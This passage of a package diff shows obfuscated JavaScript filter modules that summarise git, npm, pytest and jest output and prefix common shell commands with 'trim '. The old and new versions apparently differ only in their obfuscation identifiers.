_0x59fec6['startsWith']('-')&&!_0x59fec6['startsWith'](_0x1f39dc(0x140))&&(_0x4698e4++,_0x5ac725[_0x1f39dc(0x142)](_0x59fec6));}}_0x5f28e8();const _0x174f68=_0x1dc7b4[_0x1f39dc(0x12b)]('\x0a');return _0x174f68[_0x1f39dc(0x11a)]>0x0?_0x174f68:_0x1f39dc(0x127);}
1
+ 'use strict';const a0_0x358506=a0_0xd28b;(function(_0x595e54,_0x2712c5){const _0x815a32=a0_0xd28b,_0x1d1e9b=_0x595e54();while(!![]){try{const _0x1298d1=-parseInt(_0x815a32(0x1b0))/0x1+-parseInt(_0x815a32(0x1ba))/0x2+parseInt(_0x815a32(0x1cb))/0x3*(-parseInt(_0x815a32(0x1c4))/0x4)+parseInt(_0x815a32(0x1cc))/0x5+-parseInt(_0x815a32(0x1d7))/0x6+parseInt(_0x815a32(0x1d0))/0x7*(parseInt(_0x815a32(0x1ac))/0x8)+-parseInt(_0x815a32(0x1c2))/0x9*(-parseInt(_0x815a32(0x1c0))/0xa);if(_0x1298d1===_0x2712c5)break;else _0x1d1e9b['push'](_0x1d1e9b['shift']());}catch(_0xf89b7b){_0x1d1e9b['push'](_0x1d1e9b['shift']());}}}(a0_0x5254,0xa0914));var __createBinding=this&&this['__createBinding']||(Object[a0_0x358506(0x1d3)]?function(_0x491762,_0x370fd8,_0x5b2688,_0x3cb693){const _0xb4cc5e=a0_0x358506;if(_0x3cb693===undefined)_0x3cb693=_0x5b2688;var _0x17a936=Object[_0xb4cc5e(0x1c5)](_0x370fd8,_0x5b2688);(!_0x17a936||('get'in _0x17a936?!_0x370fd8['__esModule']:_0x17a936[_0xb4cc5e(0x1b1)]||_0x17a936['configurable']))&&(_0x17a936={'enumerable':!![],'get':function(){return _0x370fd8[_0x5b2688];}}),Object[_0xb4cc5e(0x1b3)](_0x491762,_0x3cb693,_0x17a936);}:function(_0x48a974,_0x2a3a24,_0x5aecc6,_0x524d0e){if(_0x524d0e===undefined)_0x524d0e=_0x5aecc6;_0x48a974[_0x524d0e]=_0x2a3a24[_0x5aecc6];}),__setModuleDefault=this&&this[a0_0x358506(0x1ae)]||(Object[a0_0x358506(0x1d3)]?function(_0x471aab,_0x250995){const _0x189d96=a0_0x358506;Object[_0x189d96(0x1b3)](_0x471aab,_0x189d96(0x1bf),{'enumerable':!![],'value':_0x250995});}:function(_0x3039db,_0x1fa1b8){const _0x5dd4d7=a0_0x358506;_0x3039db[_0x5dd4d7(0x1bf)]=_0x1fa1b8;}),__importStar=this&&this[a0_0x358506(0x1bc)]||(function(){var _0x28dbd3=function(_0x4f6367){const _0x401046=a0_0xd28b;return _0x28dbd3=Object[_0x401046(0x1d8)]||function(_0xcc583d){const _0x3a5af6=_0x401046;var _0x5d27d0=[];for(var _0x1bcccf in _0xcc583d)if(Object[_0x3a5af6(0x1af)][_0x3a5af6(0x1be)][_0x3a5af6(0x1c6)](_0xcc583d,_0x1bcccf))_0x5d27d0[_0x5d27d0['length']]=_0x1bcccf;return _0x5d27d0;},_0x28dbd3(_0x4f6367);};return function(_0x598fac){const _0x132d96=a0_0xd28b;if(_0x598fac&&_0x598fac[_0x132d96(0x1b6)])return _0x598fac;var _0x321775={};if(_0x598fac!=null){for(var _0x532968=_0x28dbd3(_0x598fac),_0x47d532=0x0;_0x47d532<_0x532968['length'];_0x47d532++)if(_0x532968[_0x47d532]!=='default')__createBinding(_0x321775,_0x598fac,_0x532968[_0x47d532]);}return __setModuleDefault(_0x321775,_0x598fac),_0x321775;};}());Object[a0_0x358506(0x1b3)](exports,a0_0x358506(0x1b6),{'value':!![]}),exports[a0_0x358506(0x1d2)]=filterGitStatus,exports[a0_0x358506(0x1bb)]=filterGitLog,exports['filterGitDiff']=filterGitDiff;function a0_0xd28b(_0x2833e0,_0x57d63a){_0x2833e0=_0x2833e0-0x1a8;const _0x52543a=a0_0x5254();let _0xd28bcf=_0x52543a[_0x2833e0];return _0xd28bcf;}const path=__importStar(require(a0_0x358506(0x1b8)));function filterGitStatus(_0x4a3d3b){const _0x201004=a0_0x358506,_0x2dd2bf=_0x4a3d3b[_0x201004(0x1aa)]('\x0a')['map'](_0x1ebfa3=>_0x1ebfa3[_0x201004(0x1c7)]())[_0x201004(0x1ab)](_0x4e4949=>_0x4e4949[_0x201004(0x1db)]>0x0);if(_0x2dd2bf[_0x201004(0x1db)]===0x0)return _0x201004(0x1bd);const _0x1fdbbc=[],_0x34025c=[],_0x323720=[];for(const _0x13b365 of _0x2dd2bf){if(_0x13b365[_0x201004(0x1b9)]('##')){const _0x4e4eae=_0x13b365['replace'](/^##\s*/,'');_0x1fdbbc['push'](_0x201004(0x1c8)+_0x4e4eae);}else _0x13b365[_0x201004(0x1b9)]('??')?_0x34025c[_0x201004(0x1d9)](_0x13b365[_0x201004(0x1b5)](0x3)['trim']()):_0x323720['push'](_0x13b365);}_0x323720[_0x201004(0x1db)]>0x0&&(_0x1fdbbc[_0x201004(0x1d9)](_0x201004(0x1c3)),_0x1fdbbc['push'](..._0x323720['map'](_0x1879ff=>'\x20\x20'+_0x1879ff)));if(_0x34025c[_0x201004(0x1db)]>0x0){_0x1fdbbc[_0x201004(0x1d9)](_0x201004(0x1ad));const _0xca641a={},_0x2125a9=[];for(const _0x28ac9a of _0x34025c){const _0x46685a=path[_0x201004(0x1b4)](_0x28ac9a);_0x46685a==='.'||_0x46685a===''?_0x2125a9['push'](_0x28ac9a):(!_0xca641a[_0x46685a]&&(_0xca641a[_0x46685a]=[]),_0xca641a[_0x46685a]['push'](path['basename'](_0x28ac9a)));}for(const [_0x48263b,_0x390dcd]of Object[_0x201004(0x1a8)](_0xca641a)){if(_0x390dcd['length']>0x5)_0x1fdbbc[_0x201004(0x1d9)]('\x20\x20??\x20'+_0x48263b+'/\x20('+_0x390dcd['length']+_0x201004(0x1cd));else for(const _0xf1cb28 of _0x390dcd){_0x1fdbbc[_0x201004(0x1d9)](_0x201004(0x1d5)+path[_0x201004(0x1d6)](_0x48263b,_0xf1cb28));}}for(const _0x1d7dc7 of _0x2125a9){_0x1fdbbc[_0x201004(0x1d9)]('\x20\x20??\x20'+_0x1d7dc7);}}return _0x1fdbbc[_0x201004(0x1d6)]('\x0a');}function filterGitLog(_0x4ef30e){const _0x54cebc=a0_0x358506,_0x1d91bc=_0x4ef30e[_0x54cebc(0x1aa)]('---END---')[_0x54cebc(0x1d4)](_0x41bdd3=>_0x41bdd3['trim']())[_0x54cebc(0x1ab)](_0x455471=>_0x455471[_0x54cebc(0x1db)]>0x0);if(_0x1d91bc[_0x54cebc(0x1db)]===0x0)return _0x4ef30e;const _0x4c4566=[];for(const _0x5aad3c of _0x1d91bc){const _0x48e7cf=_0x5aad3c[_0x54cebc(0x1aa)]('\x0a'),_0x28562b=_0x48e7cf[0x0]||'',_0x34b49d=_0x48e7cf['slice'](0x1)[_0x54cebc(0x1d4)](_0x576cd9=>_0x576cd9[_0x54cebc(0x1c7)]())[_0x54cebc(0x1ab)](_0x3922f6=>_0x3922f6[_0x54cebc(0x1db)]>0x0);_0x4c4566[_0x54cebc(0x1d9)]('-\x20'+_0x28562b),_0x34b49d[_0x54cebc(0x1db)]>0x0&&(_0x4c4566['push']('\x20\x20'+_0x34b49d[0x0]),_0x34b49d[_0x54cebc(0x1db)]>0x1&&_0x4c4566[_0x54cebc(0x1d9)](_0x54cebc(0x1ca)+(_0x34b49d[_0x54cebc(0x1db)]-0x1)+'\x20lines\x20of\x20description)'));}return _0x4c4566[_0x54cebc(0x1d6)]('\x0a');}function a0_0x5254(){const _0x241af3=['writable','+++','defineProperty','dirname','substring','__esModule','No\x20modifications','path','startsWith','635614lpJgNP','filterGitLog','__importStar','Clean\x20working\x20tree','hasOwnProperty','default','1310zxpmTa','\x20(+','152892fSQsMp','\x0aChanges:','76LqaGTd','getOwnPropertyDescriptor','call','trim','*\x20Branch:\x20','diff\x20--git','\x20\x20...\x20(+','138606nAOOkr','1277230GzZGSL','\x20untracked\x20files)','match','\x20more\x20modifications','1118432hhwdrV','---','filterGitStatus','create','map','\x20\x20??\x20','join','705840xtCMSS','getOwnPropertyNames','push','unknown_file','length','slice','entries','\x20\x20...\x20+','split','filter','16kswbWq','\x0aUntracked\x20files:','__setModuleDefault','prototype','829457ZxeSju'];a0_0x5254=function(){return _0x241af3;};return a0_0x5254();}function filterGitDiff(_0x23c550){const _0x5be143=a0_0x358506,_0x3a26b8=_0x23c550[_0x5be143(0x1aa)]('\x0a'),_0x2619c3=[];let _0xb68b6b='',_0x359485=0x0,_0x44bd7c=0x0,_0x4c4119=[];const _0x17f728=()=>{const _0x1139f9=_0x5be143;if(_0xb68b6b&&(_0x359485>0x0||_0x44bd7c>0x0)){_0x2619c3[_0x1139f9(0x1d9)]('[file]\x20'+_0xb68b6b+_0x1139f9(0x1c1)+_0x359485+'\x20-'+_0x44bd7c+')');const _0x445679=0xa,_0x1e6356=_0x4c4119[_0x1139f9(0x1dc)](0x0,_0x445679);for(const _0x466eca of _0x1e6356){_0x2619c3['push']('\x20\x20'+_0x466eca);}const _0x8050a7=_0x359485+_0x44bd7c-_0x445679;_0x8050a7>0x0&&_0x2619c3[_0x1139f9(0x1d9)](_0x1139f9(0x1a9)+_0x8050a7+_0x1139f9(0x1cf));}_0x359485=0x0,_0x44bd7c=0x0,_0x4c4119=[];};for(const _0x2335df of _0x3a26b8){if(_0x2335df[_0x5be143(0x1b9)](_0x5be143(0x1c9))){_0x17f728();const _0x501c7f=_0x2335df[_0x5be143(0x1ce)](/\sb\/(.+)$/);_0xb68b6b=_0x501c7f?_0x501c7f[0x1]:_0x5be143(0x1da);}else{if(_0x2335df[_0x5be143(0x1b9)]('+')&&!_0x2335df[_0x5be143(0x1b9)](_0x5be143(0x1b2)))_0x359485++,_0x4c4119['push'](_0x2335df);else _0x2335df[_0x5be143(0x1b9)]('-')&&!_0x2335df[_0x5be143(0x1b9)](_0x5be143(0x1d1))&&(_0x44bd7c++,_0x4c4119[_0x5be143(0x1d9)](_0x2335df));}}_0x17f728();const _0x54e039=_0x2619c3[_0x5be143(0x1d6)]('\x0a');return _0x54e039[_0x5be143(0x1db)]>0x0?_0x54e039:_0x5be143(0x1b7);}
package/filters/index.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x36b23a=a0_0x4017;(function(_0x425dab,_0x5ce7de){const _0x5636c2=a0_0x4017,_0x55e5c6=_0x425dab();while(!![]){try{const _0x39b6a3=-parseInt(_0x5636c2(0x1c9))/0x1+-parseInt(_0x5636c2(0x1a2))/0x2+parseInt(_0x5636c2(0x1d1))/0x3*(parseInt(_0x5636c2(0x1d2))/0x4)+parseInt(_0x5636c2(0x1af))/0x5*(parseInt(_0x5636c2(0x1c6))/0x6)+parseInt(_0x5636c2(0x1ba))/0x7*(parseInt(_0x5636c2(0x1ae))/0x8)+parseInt(_0x5636c2(0x1d0))/0x9*(-parseInt(_0x5636c2(0x1d6))/0xa)+parseInt(_0x5636c2(0x1cc))/0xb*(parseInt(_0x5636c2(0x1a5))/0xc);if(_0x39b6a3===_0x5ce7de)break;else _0x55e5c6['push'](_0x55e5c6['shift']());}catch(_0x578f12){_0x55e5c6['push'](_0x55e5c6['shift']());}}}(a0_0x3b4c,0x532f4));function a0_0x4017(_0x69cb88,_0x26a286){_0x69cb88=_0x69cb88-0x1a0;const _0x3b4c52=a0_0x3b4c();let _0x401727=_0x3b4c52[_0x69cb88];return _0x401727;}Object['defineProperty'](exports,a0_0x36b23a(0x1ad),{'value':!![]}),exports[a0_0x36b23a(0x1be)]=compressOutput,exports[a0_0x36b23a(0x1df)]=rewriteCommand;const generic_1=require(a0_0x36b23a(0x1b6)),git_1=require(a0_0x36b23a(0x1c5)),python_1=require('./python'),js_1=require(a0_0x36b23a(0x1dc)),redactor_1=require('../redactor');function compressOutput(_0x5ade12,_0x31dae7,_0x32cb3d,_0x1f74b4=!![]){const _0x3a2ae5=a0_0x36b23a,_0x59199e=_0x5ade12[_0x3a2ae5(0x1d7)]();let _0x4acc7c=_0x31dae7;_0x32cb3d[_0x3a2ae5(0x1d7)]()[_0x3a2ae5(0x1b0)]>0x0&&(_0x4acc7c=_0x31dae7+'\x0a'+_0x32cb3d);let _0x2fda45=(0x0,generic_1[_0x3a2ae5(0x1b7)])(_0x4acc7c);_0x1f74b4&&(_0x2fda45=redactor_1[_0x3a2ae5(0x1d4)][_0x3a2ae5(0x1b4)](_0x2fda45));const _0x502aef=_0x59199e[_0x3a2ae5(0x1c8)]();try{if(_0x502aef[_0x3a2ae5(0x1db)]('git\x20status')||_0x502aef['includes'](_0x3a2ae5(0x1cd)))return(0x0,git_1[_0x3a2ae5(0x1da)])(_0x2fda45);if(_0x502aef[_0x3a2ae5(0x1db)]('git\x20log')||_0x502aef[_0x3a2ae5(0x1db)]('yadm\x20log'))return(0x0,git_1[_0x3a2ae5(0x1d9)])(_0x2fda45);if(_0x502aef['includes'](_0x3a2ae5(0x1d3))||_0x502aef['includes'](_0x3a2ae5(0x1bf))||_0x502aef[_0x3a2ae5(0x1db)](_0x3a2ae5(0x1cf)))return(0x0,git_1[_0x3a2ae5(0x1b9)])(_0x2fda45);if(_0x502aef[_0x3a2ae5(0x1db)](_0x3a2ae5(0x1c3)))return(0x0,python_1['filterPytest'])(_0x2fda45);if(_0x502aef[_0x3a2ae5(0x1db)](_0x3a2ae5(0x1c4))||_0x502aef[_0x3a2ae5(0x1db)](_0x3a2ae5(0x1b1))||_0x502aef[_0x3a2ae5(0x1bd)](_0x3a2ae5(0x1ac))||_0x502aef[_0x3a2ae5(0x1db)](_0x3a2ae5(0x1c7))||_0x502aef[_0x3a2ae5(0x1db)](_0x3a2ae5(0x1bb)))return(0x0,js_1[_0x3a2ae5(0x1a4)])(_0x2fda45);if(_0x502aef[_0x3a2ae5(0x1db)](_0x3a2ae5(0x1b3))||_0x502aef[_0x3a2ae5(0x1db)](_0x3a2ae5(0x1aa)))return(0x0,python_1[_0x3a2ae5(0x1a0)])(_0x2fda45);if(_0x502aef[_0x3a2ae5(0x1db)](_0x3a2ae5(0x1ab))||_0x502aef['includes'](_0x3a2ae5(0x1a1)))return(0x0,js_1[_0x3a2ae5(0x1dd)])(_0x2fda45);}catch(_0x4522c8){}return _0x2fda45=(0x0,generic_1[_0x3a2ae5(0x1a7)])(_0x2fda45),_0x2fda45=(0x0,generic_1[_0x3a2ae5(0x1d5)])(_0x2fda45,0x4e20),_0x2fda45;}const REWRITE_RULES=[{'pattern':/^(?:git|yadm)\s+(?:-[Cc]\s+\S+\s+)*(status|log|diff|show|add|commit|push|pull|branch|fetch|stash|worktree)/,'prefix':a0_0x36b23a(0x1c1)},{'pattern':/^gh\s+(pr|issue|run|repo|api|release)/,'prefix':'trim\x20gh'},{'pattern':/^glab\s+(mr|issue|ci|pipeline|api|release)/,'prefix':a0_0x36b23a(0x1c2)},{'pattern':/^cargo\s+(build|test|clippy|check|fmt|install)/,'prefix':a0_0x36b23a(0x1d8)},{'pattern':/^pnpm\s+(exec|i|install|list|ls|outdated|run|run-script)/,'prefix':a0_0x36b23a(0x1a6)},{'pattern':/^npm\s+(exec|run|run-script|rum|urn|x)(\s|$)/,'prefix':a0_0x36b23a(0x1cb)},{'pattern':/^npx\s+/,'prefix':a0_0x36b23a(0x1a3)},{'pattern':/^(cat|head|tail)\s+/,'prefix':a0_0x36b23a(0x1de)},{'pattern':/^(rg|grep)\s+/,'prefix':a0_0x36b23a(0x1b8)},{'pattern':/^ls(\s|$)/,'prefix':a0_0x36b23a(0x1b5)},{'pattern':/^find\s+/,'prefix':'trim\x20find'},{'pattern':/^docker\s+(ps|images|logs|run|exec|build|compose)/,'prefix':a0_0x36b23a(0x1ca)},{'pattern':/^kubectl\s+(get|logs|describe|apply)/,'prefix':a0_0x36b23a(0x1c0)},{'pattern':/^(python3?\s+-m\s+)?pytest(\s|$)/,'prefix':'trim\x20pytest'},{'pattern':/^(pip3?|uv\s+pip)\s+(list|outdated|install|show)/,'prefix':a0_0x36b23a(0x1bc)},{'pattern':/^go\s+(test|build|vet)/,'prefix':a0_0x36b23a(0x1a8)}];function a0_0x3b4c(){const _0x100159=['collapseDuplicates','trim\x20go','trim\x20','pip3\x20install','jest','npm\x20i','__esModule','79704eapcRK','1465TJQxGP','length','npm\x20i\x20','test','pip\x20install','redact','trim\x20ls','./generic','stripAnsi','trim\x20grep','filterGitDiff','42BrZLAa','yarn\x20install','trim\x20pip','endsWith','compressOutput','git\x20show','trim\x20kubectl','trim\x20git','trim\x20glab','pytest','npm\x20install','./git','6312WOtykO','pnpm\x20install','toLowerCase','651198FnvMaV','trim\x20docker','trim\x20npm','6361069ABOIZc','yadm\x20status','startsWith','yadm\x20diff','4103577tanyPE','1146cpbmJw','5648iuWNLB','git\x20diff','redactor','softTruncate','10DeqkEC','trim','trim\x20cargo','filterGitLog','filterGitStatus','includes','./js','filterJestVitest','trim\x20read','rewriteCommand','filterPipInstall','vitest','75604GbaMDt','trim\x20npx','filterNpmInstall','12fCApuL','trim\x20pnpm'];a0_0x3b4c=function(){return _0x100159;};return a0_0x3b4c();}function rewriteCommand(_0x16c2c2){const _0x304907=a0_0x36b23a,_0x5cfce4=_0x16c2c2[_0x304907(0x1d7)]();if(_0x5cfce4[_0x304907(0x1ce)](_0x304907(0x1a9)))return _0x5cfce4;for(const _0x565be9 of REWRITE_RULES){if(_0x565be9['pattern'][_0x304907(0x1b2)](_0x5cfce4))return _0x304907(0x1a9)+_0x5cfce4;}return _0x5cfce4;}
1
+ 'use strict';const a0_0x49679b=a0_0x2e74;(function(_0x15e371,_0x3010bb){const _0x5e3916=a0_0x2e74,_0x2f2990=_0x15e371();while(!![]){try{const _0x40e2f9=parseInt(_0x5e3916(0x1c2))/0x1+-parseInt(_0x5e3916(0x1b3))/0x2*(parseInt(_0x5e3916(0x1e4))/0x3)+parseInt(_0x5e3916(0x1d9))/0x4+-parseInt(_0x5e3916(0x1e7))/0x5*(parseInt(_0x5e3916(0x1ce))/0x6)+-parseInt(_0x5e3916(0x1dc))/0x7*(-parseInt(_0x5e3916(0x1b2))/0x8)+-parseInt(_0x5e3916(0x1af))/0x9*(-parseInt(_0x5e3916(0x1e1))/0xa)+-parseInt(_0x5e3916(0x1c0))/0xb*(parseInt(_0x5e3916(0x1df))/0xc);if(_0x40e2f9===_0x3010bb)break;else _0x2f2990['push'](_0x2f2990['shift']());}catch(_0x4495e5){_0x2f2990['push'](_0x2f2990['shift']());}}}(a0_0x357a,0xeebd5));function a0_0x357a(){const _0x4653a3=['trim\x20cargo','trim\x20go','yadm\x20status','trim\x20npx','pip\x20install','softTruncate','9KutpVt','../redactor','defineProperty','8uhYiQx','8548cdAeuT','./git','trim\x20find','filterGitLog','git\x20log','trim\x20npm','length','trim','yarn\x20install','trim\x20docker','redactor','vitest','compressOutput','44VIICsL','trim\x20pnpm','1933617FtqjJQ','trim\x20ls','npm\x20i','redact','stripAnsi','yadm\x20diff','includes','trim\x20pip','trim\x20git','trim\x20grep','pnpm\x20install','./generic','4657602xdziEs','toLowerCase','pytest','filterJestVitest','rewriteCommand','collapseDuplicates','filterGitDiff','endsWith','./js','pattern','trim\x20kubectl','1910052zkudaY','trim\x20','test','1752793WrhwOT','filterGitStatus','git\x20show','3745212gmpVRF','startsWith','5504450EvbIfI','git\x20diff','filterNpmInstall','147beKElb','git\x20status','jest','5HHHcsV','trim\x20read','npm\x20install'];a0_0x357a=function(){return _0x4653a3;};return a0_0x357a();}function a0_0x2e74(_0x567e73,_0x4a3bd8){_0x567e73=_0x567e73-0x1ab;const _0x357a29=a0_0x357a();let _0x2e7459=_0x357a29[_0x567e73];return _0x2e7459;}Object[a0_0x49679b(0x1b1)](exports,'__esModule',{'value':!![]}),exports[a0_0x49679b(0x1bf)]=compressOutput,exports[a0_0x49679b(0x1d2)]=rewriteCommand;const generic_1=require(a0_0x49679b(0x1cd)),git_1=require(a0_0x49679b(0x1b4)),python_1=require('./python'),js_1=require(a0_0x49679b(0x1d6)),redactor_1=require(a0_0x49679b(0x1b0));function compressOutput(_0x4055b3,_0x161431,_0x43e091,_0x16b6bd=!![]){const _0x2a9c37=a0_0x49679b,_0x47c282=_0x4055b3[_0x2a9c37(0x1ba)]();let _0x152166=_0x161431;_0x43e091['trim']()[_0x2a9c37(0x1b9)]>0x0&&(_0x152166=_0x161431+'\x0a'+_0x43e091);let _0x1b29f5=(0x0,generic_1[_0x2a9c37(0x1c6)])(_0x152166);_0x16b6bd&&(_0x1b29f5=redactor_1[_0x2a9c37(0x1bd)][_0x2a9c37(0x1c5)](_0x1b29f5));const _0x2fdb38=_0x47c282[_0x2a9c37(0x1cf)]();try{if(_0x2fdb38[_0x2a9c37(0x1c8)](_0x2a9c37(0x1e5))||_0x2fdb38['includes'](_0x2a9c37(0x1ab)))return(0x0,git_1[_0x2a9c37(0x1dd)])(_0x1b29f5);if(_0x2fdb38['includes'](_0x2a9c37(0x1b7))||_0x2fdb38[_0x2a9c37(0x1c8)]('yadm\x20log'))return(0x0,git_1[_0x2a9c37(0x1b6)])(_0x1b29f5);if(_0x2fdb38[_0x2a9c37(0x1c8)](_0x2a9c37(0x1e2))||_0x2fdb38['includes'](_0x2a9c37(0x1de))||_0x2fdb38[_0x2a9c37(0x1c8)](_0x2a9c37(0x1c7)))return(0x0,git_1[_0x2a9c37(0x1d4)])(_0x1b29f5);if(_0x2fdb38[_0x2a9c37(0x1c8)](_0x2a9c37(0x1d0)))return(0x0,python_1['filterPytest'])(_0x1b29f5);if(_0x2fdb38['includes'](_0x2a9c37(0x1e9))||_0x2fdb38[_0x2a9c37(0x1c8)]('npm\x20i\x20')||_0x2fdb38[_0x2a9c37(0x1d5)](_0x2a9c37(0x1c4))||_0x2fdb38[_0x2a9c37(0x1c8)](_0x2a9c37(0x1cc))||_0x2fdb38['includes'](_0x2a9c37(0x1bb)))return(0x0,js_1[_0x2a9c37(0x1e3)])(_0x1b29f5);if(_0x2fdb38[_0x2a9c37(0x1c8)](_0x2a9c37(0x1ad))||_0x2fdb38[_0x2a9c37(0x1c8)]('pip3\x20install'))return(0x0,python_1['filterPipInstall'])(_0x1b29f5);if(_0x2fdb38[_0x2a9c37(0x1c8)](_0x2a9c37(0x1e6))||_0x2fdb38[_0x2a9c37(0x1c8)](_0x2a9c37(0x1be)))return(0x0,js_1[_0x2a9c37(0x1d1)])(_0x1b29f5);}catch(_0x55f7b6){}return _0x1b29f5=(0x0,generic_1[_0x2a9c37(0x1d3)])(_0x1b29f5),_0x1b29f5=(0x0,generic_1[_0x2a9c37(0x1ae)])(_0x1b29f5,0x4e20),_0x1b29f5;}const REWRITE_RULES=[{'pattern':/^(?:git|yadm)\s+(?:-[Cc]\s+\S+\s+)*(status|log|diff|show|add|commit|push|pull|branch|fetch|stash|worktree)/,'prefix':a0_0x49679b(0x1ca)},{'pattern':/^gh\s+(pr|issue|run|repo|api|release)/,'prefix':'trim\x20gh'},{'pattern':/^glab\s+(mr|issue|ci|pipeline|api|release)/,'prefix':'trim\x20glab'},{'pattern':/^cargo\s+(build|test|clippy|check|fmt|install)/,'prefix':a0_0x49679b(0x1ea)},{'pattern':/^pnpm\s+(exec|i|install|list|ls|outdated|run|run-script)/,'prefix':a0_0x49679b(0x1c1)},{'pattern':/^npm\s+(exec|run|run-script|rum|urn|x)(\s|$)/,'prefix':a0_0x49679b(0x1b8)},{'pattern':/^npx\s+/,'prefix':a0_0x49679b(0x1ac)},{'pattern':/^(cat|head|tail)\s+/,'prefix':a0_0x49679b(0x1e8)},{'pattern':/^(rg|grep)\s+/,'prefix':a0_0x49679b(0x1cb)},{'pattern':/^ls(\s|$)/,'prefix':a0_0x49679b(0x1c3)},{'pattern':/^find\s+/,'prefix':a0_0x49679b(0x1b5)},{'pattern':/^docker\s+(ps|images|logs|run|exec|build|compose)/,'prefix':a0_0x49679b(0x1bc)},{'pattern':/^kubectl\s+(get|logs|describe|apply)/,'prefix':a0_0x49679b(0x1d8)},{'pattern':/^(python3?\s+-m\s+)?pytest(\s|$)/,'prefix':'trim\x20pytest'},{'pattern':/^(pip3?|uv\s+pip)\s+(list|outdated|install|show)/,'prefix':a0_0x49679b(0x1c9)},{'pattern':/^go\s+(test|build|vet)/,'prefix':a0_0x49679b(0x1eb)}];function rewriteCommand(_0x4e7718){const _0x2a011f=a0_0x49679b,_0x14602f=_0x4e7718['trim']();if(_0x14602f[_0x2a011f(0x1e0)]('trim\x20'))return _0x14602f;for(const _0x173550 of REWRITE_RULES){if(_0x173550[_0x2a011f(0x1d7)][_0x2a011f(0x1db)](_0x14602f))return _0x2a011f(0x1da)+_0x14602f;}return _0x14602f;}
package/filters/js.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x43fb71=a0_0xdd92;(function(_0x41949d,_0xffadf2){const _0x57a6f0=a0_0xdd92,_0x57e8b1=_0x41949d();while(!![]){try{const _0x1295ae=parseInt(_0x57a6f0(0x200))/0x1+-parseInt(_0x57a6f0(0x1f7))/0x2*(-parseInt(_0x57a6f0(0x213))/0x3)+-parseInt(_0x57a6f0(0x1f4))/0x4*(parseInt(_0x57a6f0(0x1f6))/0x5)+parseInt(_0x57a6f0(0x202))/0x6*(parseInt(_0x57a6f0(0x207))/0x7)+parseInt(_0x57a6f0(0x1f8))/0x8+parseInt(_0x57a6f0(0x1fd))/0x9+-parseInt(_0x57a6f0(0x208))/0xa;if(_0x1295ae===_0xffadf2)break;else _0x57e8b1['push'](_0x57e8b1['shift']());}catch(_0x13bb97){_0x57e8b1['push'](_0x57e8b1['shift']());}}}(a0_0x4e01,0x1b273));function a0_0x4e01(){const _0x4a9d5c=['\x20\x20...\x20(','12iyiFpd','defineProperty','358505GikrnS','358jFMqaq','1413336iAGXJY','includes','length','filterNpmInstall','FAIL','1115730oaOQwg','\x0aFailures:','replace','202605IMKdTy','all','41016csMEzF','slice','\x20total)','push','audited\x20','70SVtOSn','2937890gTfgak','trim','startsWith','match','\x20lines\x20of\x20trace\x20details\x20truncated)','Tests:','__esModule','join','Test\x20Files:','\x20passed','split','813OmQevq','NPM:\x20Packages\x20verified/installed\x20successfully','PASS','Test\x20Runner:\x20','added\x20','up\x20to\x20date'];a0_0x4e01=function(){return _0x4a9d5c;};return a0_0x4e01();}Object[a0_0x43fb71(0x1f5)](exports,a0_0x43fb71(0x20e),{'value':!![]}),exports[a0_0x43fb71(0x1fb)]=filterNpmInstall,exports['filterJestVitest']=filterJestVitest;function a0_0xdd92(_0x575304,_0xbadc90){_0x575304=_0x575304-0x1ee;const _0x4e0155=a0_0x4e01();let _0xdd929e=_0x4e0155[_0x575304];return _0xdd929e;}function filterNpmInstall(_0x39b9fc){const _0x299243=a0_0x43fb71,_0x31b8c2=_0x39b9fc[_0x299243(0x1ff)](/\r/g,'\x0a'),_0x2ee1fd=_0x31b8c2[_0x299243(0x212)]('\x0a'),_0x77f052=[];for(const _0x1be9ea of _0x2ee1fd){const _0x24eb7d=_0x1be9ea['trim']();(_0x24eb7d[_0x299243(0x1f9)](_0x299243(0x1f1))||_0x24eb7d[_0x299243(0x1f9)]('removed\x20')||_0x24eb7d['includes'](_0x299243(0x206))||_0x24eb7d[_0x299243(0x1f9)](_0x299243(0x1f2))||_0x24eb7d[_0x299243(0x1f9)]('found\x20'))&&(!_0x24eb7d[_0x299243(0x1f9)]('%')&&!_0x24eb7d[_0x299243(0x20a)]('⠋')&&!_0x24eb7d['startsWith']('⠙')&&_0x77f052[_0x299243(0x205)](_0x24eb7d));}const _0x2dd347=_0x77f052[_0x299243(0x20f)]('\x0a')[_0x299243(0x209)]();return _0x2dd347[_0x299243(0x1fa)]>0x0?_0x2dd347:_0x299243(0x1ee);}function filterJestVitest(_0x4d961a){const _0x2512f4=a0_0x43fb71,_0x5ad9eb=_0x4d961a[_0x2512f4(0x212)]('\x0a');let _0x21ee13=0x0,_0x784afc=0x0,_0x29e9da=0x0;const _0x488131=[];let _0x16a0cb=![];for(const _0x43e22e of _0x5ad9eb){const _0x41f9b8=_0x43e22e[_0x2512f4(0x209)]();if(_0x41f9b8[_0x2512f4(0x20a)](_0x2512f4(0x20d))||_0x41f9b8['includes'](_0x2512f4(0x210))){const _0x1e9c1f=_0x41f9b8['match'](/(\d+)\s+passed/),_0x452799=_0x41f9b8[_0x2512f4(0x20b)](/(\d+)\s+failed/),_0x3a3253=_0x41f9b8[_0x2512f4(0x20b)](/(\d+)\s+total/);if(_0x1e9c1f)_0x21ee13=parseInt(_0x1e9c1f[0x1]);if(_0x452799)_0x784afc=parseInt(_0x452799[0x1]);if(_0x3a3253)_0x29e9da=parseInt(_0x3a3253[0x1]);continue;}(_0x41f9b8[_0x2512f4(0x20a)]('❯')||_0x41f9b8[_0x2512f4(0x20a)]('●')||_0x41f9b8['startsWith']('FAIL\x20\x20'))&&(_0x16a0cb=!![]),_0x16a0cb&&(_0x41f9b8['length']>0x0&&!_0x41f9b8[_0x2512f4(0x20a)]('Test\x20Suites:')&&!_0x41f9b8[_0x2512f4(0x20a)]('Tests:')&&_0x488131[_0x2512f4(0x205)](_0x43e22e));}if(_0x29e9da===0x0&&_0x21ee13===0x0&&_0x784afc===0x0){if(_0x4d961a[_0x2512f4(0x1f9)](_0x2512f4(0x1ef))&&!_0x4d961a[_0x2512f4(0x1f9)](_0x2512f4(0x1fc))){const _0x419e80=_0x4d961a[_0x2512f4(0x20b)](/(\d+)\s+passed/),_0x47e59e=_0x419e80?_0x419e80[0x1]:_0x2512f4(0x201);return _0x2512f4(0x1f0)+_0x47e59e+_0x2512f4(0x211);}return _0x4d961a;}if(_0x784afc===0x0&&_0x21ee13>0x0)return _0x2512f4(0x1f0)+_0x21ee13+_0x2512f4(0x211);const 